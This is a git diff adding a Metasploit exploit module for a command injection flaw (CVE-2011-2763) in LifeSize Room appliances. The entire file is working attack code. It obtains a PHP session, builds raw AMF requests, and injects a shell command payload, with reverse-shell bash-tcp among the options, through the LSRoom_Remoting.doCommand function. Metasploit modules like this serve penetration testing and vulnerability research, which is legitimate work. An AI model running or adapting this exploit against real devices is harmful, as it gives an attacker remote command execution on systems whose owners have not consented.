diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb new file mode 100644 index 0000000000..40a93c1ebe --- /dev/null +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -0,0 +1,117 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LifeSize Room Command Injection', + 'Description' => %q{ + This module exploits a vulnerable resource in LifeSize + Room versions 3.5.3 and 4.7.18 to inject OS commmands. LifeSize + Room is an appliance and thus the environment is limited + resulting in a small set of payload options. + }, + 'Author' => + [ + # SecureState R&D Team - Special Thanks To Chris Murrey + 'Spencer McIntyre', + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2011-2763' ], + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 65535, # limited by the two byte size in the AMF encoding + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic bash-tcp', + } + }, + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Targets' => [ [ 'Automatic', { } ] ], + 'DisclosureDate' => 'Jul 13 2011', + 'DefaultTarget' => 0)) + end + + def exploit + print_status("Requesting PHP Session...") + res = send_request_cgi({ + 'encode' => false, + 'uri' => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}", + 'method' => 'GET', + }, 10) + + if not res.headers['set-cookie'] + print_error('Could Not Obtain A Session ID') + return + end + + sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0] + + headers = { + 'Cookie' => sessionid, + 'Content-Type' => 'application/x-amf', + } + + print_status("Validating PHP Session...") + + data = "\x00\x00\x00\x00\x00\x02\x00\x1b" + data << "LSRoom_Remoting.amfphpLogin" + data << "\x00\x02/1\x00\x00\x00" + data << "\x05\x0a\x00\x00\x00\x00\x00\x17" + data << "LSRoom_Remoting.getHost" + data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00" + + res = send_request_cgi({ + 'encode' => false, + 'uri' => '/gateway.php', + 'data' => data, + 'method' => 'POST', + 'headers' => headers, + }, 10) + + if not res + print_error('Could Not Validate The Session ID') + return + end + + print_status("Sending Malicious POST Request...") + + # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand + amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19" + amf_data << "LSRoom_Remoting.doCommand" + amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff" + amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}" + amf_data << "\x02\x00\x0dupgradeStatus" + + res = send_request_cgi({ + 'encode' => false, + 'uri' => '/gateway.php?' << sessionid, + 'data' => amf_data, + 'method' => 'POST', + 'headers' => headers + }, 10) + end + +end